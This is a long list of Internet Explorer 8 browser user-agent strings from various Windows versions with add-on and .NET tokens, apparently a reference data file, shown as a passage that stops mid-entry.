Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbARS/5.8.0.12304) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; AskTbMP3/5.11.3.15590) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; Sleipnir/2.9.4) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; Zune 3.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; AskTbGAM1/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; KKMAN3.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRA 4.3 (build 01218); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 2.0.50727; Zune 2.5; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10b) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10d; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10d; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon 2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKMAN3.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 665; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 679; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQPinyinSetup 620; QQPinyin 689; QQPinyin 730) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQPinyinSetup 620; QQPinyin 730; GTB6.5; QQDownload 661; AskTB5.5) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQWubi 87; QQDownload 665; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Trident/4.0; Zango 10.1.181.0; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Windows-Media-Player/10.00.00.3990; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; YPC 3.2.0; MSN Optimized;GB; .NET CLR 2.0.50727; InfoPath.1; MSN Optimized;GB) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/10.0.648.204; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/12.0.742.100; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/14.0.803.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/20.0.1132.57; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/27.0.1453.116; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; iCafeMedia; GTB6.5; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; iCafeMedia; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; en-GB) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; fr-CA) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.0450 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; uZard/1.0; Server_KO_SKT) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; uZardWeb/1.0; Server_KO_KTF) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; uZardWeb/1.0; Server_USA) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SLCC2; Maxthon 2.0; DigExt; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 3.5.30729; .NET4.0C; OfficeLiveConnector.1.5; .NET4.0E; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FBSMTWB; FunWebProducts; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.3; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FBSMTWB; GTB6.3; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FBSMTWB; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; AskTB5.5) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB0.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; AskTB5.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.0.0; .NET CLR 3.0.30729; InfoPath.2; MS-RTC LM 8; .NE Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6.6; SLCC1; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.1; A Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; 